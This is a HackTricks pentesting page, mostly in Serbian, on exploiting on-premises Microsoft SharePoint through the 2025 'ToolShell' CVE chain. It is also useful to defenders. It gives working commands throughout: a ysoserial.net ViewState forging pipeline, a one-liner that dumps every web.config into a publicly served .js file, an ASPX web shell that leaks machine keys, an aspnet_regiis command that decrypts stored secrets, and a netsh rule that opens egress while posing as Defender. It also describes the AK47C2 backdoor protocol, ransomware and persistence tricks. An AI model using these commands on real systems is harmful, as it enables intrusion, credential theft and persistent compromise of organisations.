Microsoft SharePoint – Pentesting & Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Microsoft SharePoint (on-premises) je izgrađen na vrhu ASP.NET/IIS. Većina klasičnog web attack surface (ViewState, Web.Config, web shells, itd.) je zbog toga prisutna, ali SharePoint takođe dolazi sa stotinama proprietarnih ASPX pages i web services koje drastično proširuju izloženi attack surface. Ova stranica sakuplja praktične trikove za enumerate, exploit i persist unutar SharePoint okruženja, sa naglaskom na 2025 exploit chain otkriven od strane Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> dozvoljava injektovanje proizvoljnog Server-Side Include koda u stranicu koji se kasnije kompajlira od strane ASP.NET. Napadač može ugraditi C# koji izvršava Process.Start() i ubaciti zlonameran ViewState.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Ista stranica veruje zaglavlju X-Forms_BaseUrl da odredi kontekst sajta. Usmeravanjem ka /_layouts/15/, MFA/SSO primenjen na root sajt može biti zaobiđen unauthenticated.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Kada napadač kontroliše gadget u ToolPane.aspx može poslati unsigned (ili MAC-only) __VIEWSTATE vrednost koja pokreće .NET deserializaciju unutar w3wp.exe što dovodi do izvršenja koda.

Ako je signing omogućen, ukrasti ValidationKey/DecryptionKey iz bilo kog web.config (vidi 2.4) i falsifikovati payload koristeći ysoserial.net ili ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Sending a crafted Source parameter to ToolPane.aspx (e.g. ../../../../web.config) returns the targeted file, što omogućava izlaganje:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:

  • Header spoofing for auth bypass – napadač šalje POST zahteve na /_layouts/15/ToolPane.aspx sa Referer: https://<victim>/_layouts/15/ i lažnim X-Forms_BaseUrl. Ti headeri ubeđuju SharePoint da zahtev potiče iz poverenog layout-a i u potpunosti preskaču front-door authentication (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – telo zahteva uključuje ViewState/ToolPart podatke pod kontrolom napadača koji dospevaju do ranjivog server-side formatter-a (CVE-2025-49704/CVE-2025-53770). Payload je obično ysoserial.net lanac koji se izvršava unutar w3wp.exe bez ikakvog pisanja na disk.
  • Internet-scale scanning – telemetrija iz jula 2025. pokazuje da su skenirali svaki dostupan /_layouts/15/ToolPane.aspx endpoint i ponovo emitovali rečnik leaked <machineKey> parova. Bilo koji sajt koji je kopirao primer validationKey iz dokumentacije može biti kompromitovan čak i ako je inače potpuno patched (pogledajte ViewState stranicu za signing workflow).
  • Immediate staging – uspešna eksploatacija ostavlja loader ili PowerShell stager koji: (1) dump-uje svaki web.config, (2) postavlja ASPX webshell za rezervni pristup, i (3) zakazuje lokalni Potato privesc da pobegne iz IIS workera.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Dobijeni debug_dev.js može se preuzeti anonimno i sadrži sve osetljive konfiguracione podatke.

3.2 Postavljanje Base64-encoded ASPX web shell (varijanta-2)

powershell.exe -EncodedCommand <base64>

Primer dekodiranog payload-a (skraćeno):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Zapisano u:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Isti shell, ali:

  • postavljen pod ...\15\TEMPLATE\LAYOUTS\
  • imena promenljivih reducirana na jednoslovne
  • Thread.Sleep(<ms>) dodat radi sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

Nedavne incident-response istrage (Unit42 “Project AK47”) pokazuju kako napadači koriste ToolShell lanac nakon početnog RCE da deploy-uju dual-channel C2 implant i ransomware u SharePoint okruženjima:

AK47C2 – dnsclient variant

  • Hard-coded DNS server: 10.7.66.10 koji komunicira sa authoritative domain update.updatemicfosoft.com.
  • Poruke su JSON objekti XOR-enkriptovani statičnim ključem VHBD@H, hex-encoded i ubačeni kao sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Duge upite se dele na delove i prefiksuju sa s, pa se ponovo sastavljaju na serveru.
  • Server odgovara u TXT zapisima koji nose isti XOR/hex šemu:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 introduced a simplified format <COMMAND>::<SESSION_KEY> and chunk markers 1, 2, a.

AK47C2 – httpclient variant

  • Ponovo koristi istu JSON & XOR rutinu ali šalje hex blob u HTTP POST body putem libcurl (CURLOPT_POSTFIELDS, etc.).
  • Isti task/result workflow omogućava:
  • Izvršavanje proizvoljnih shell komandi.
  • Dinamičan sleep interval i instrukcije za kill-switch.

X2ANYLOCK ransomware

  • 64-bit C++ payload učitan kroz DLL side-loading (see below).
  • Koristi AES-CBC za podatke fajlova + RSA-2048 za umotavanje AES ključa, zatim dodaje ekstenziju .x2anylock.
  • Rekurzivno enkriptuje lokalne drajvove i otkrivene SMB share-ove; preskače sistemske putanje.
  • Ostavlja clear-text napomenu How to decrypt my data.txt u kojoj je ugrađen statički Tox ID za pregovore.
  • Sadrži interni kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Napadač zapisuje dllhijacked.dll/My7zdllhijacked.dll pored legitimnog 7z.exe.
  2. SharePoint-spawned w3wp.exe pokreće 7z.exe, koji učitava zlonamerni DLL zbog Windows search order, pozivajući ransomware entrypoint u memoriji.
  3. Poseban LockBit loader primećen (bbb.msiclink_x86.execlink_dll_x86.dll) dekriptuje shell-code i izvodi DLL hollowing u d3dl1.dll da bi pokrenuo LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Turning SharePoint loot into lateral movement

  • Decrypt every protected section – kada ste na web tieru, zloupotrebite aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (or -px "appSettings") da ispišete clear-text tajne koje se kriju iza <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon je ovim putem više puta harvestovao SQL logine, SMTP relay-e i custom service kredencijale.
  • Recycle app-pool accounts across farms – mnoga preduzeća ponovo koriste isti domain account za IIS APPPOOL\SharePoint na svakom front-endu. Nakon dekriptovanja identity impersonate="..." blokova ili čitanja ApplicationHost.config, testirajte kredencijale preko SMB/RDP/WinRM na svakom sibling serveru. U više incidenata nalog je takođe bio lokalni administrator, što omogućava psexec, sc create, ili staged scheduled-task bez pokretanja password spray napada.
  • Abuse leaked <machineKey> values internally – čak i ako internet perimeter bude patch-ovan, ponovno korišćenje istog validationKey/decryptionKey omogućava lateralnu ViewState eksploataciju između internih SharePoint zona koje se međusobno trust-uju.

3.6 Persistence patterns witnessed in 2025 intrusions

  • Scheduled tasks – jednokratni zadatak nazvan SYSCHECK (ili druga health-themed imena) kreira se sa /ru SYSTEM /sc once /st <hh:mm> da bootstrap-uje next-stage loader (češće preimenovani conhost.exe). Pošto se izvršava jednom, telemetry ga često propusti osim ako se ne sačuva historic task XML.
  • Masqueraded services – servisi poput WindowsTempUpdate, WaaSMaintainer, ili MicrosoftTelemetryHost instaliraju se putem sc create koji pokazuje na sideloading triad direktorijum. Binarni fajlovi čuvaju svoje originalne AMD/Realtek/NVIDIA potpise ali su preimenovani da odgovaraju Windows komponentama; poređenje imena na disku sa OriginalFileName PE poljem je brz integritet check.

3.7 Host firewall downgrades for relay traffic

Ink Dragon rutinski dodaje permisivno outbound pravilo koje se maskira kao Defender maintenance tako da ShadowPad/FinalDraft saobraćaj može izlaziti na bilo kom portu:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Pošto je pravilo kreirano lokalno (ne putem GPO) i koristi legitimni Defender binarni fajl kao program=, većina SOC baseline-a ga ignoriše, a ipak otvara Any ➜ Any egress.


Povezani trikovi

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks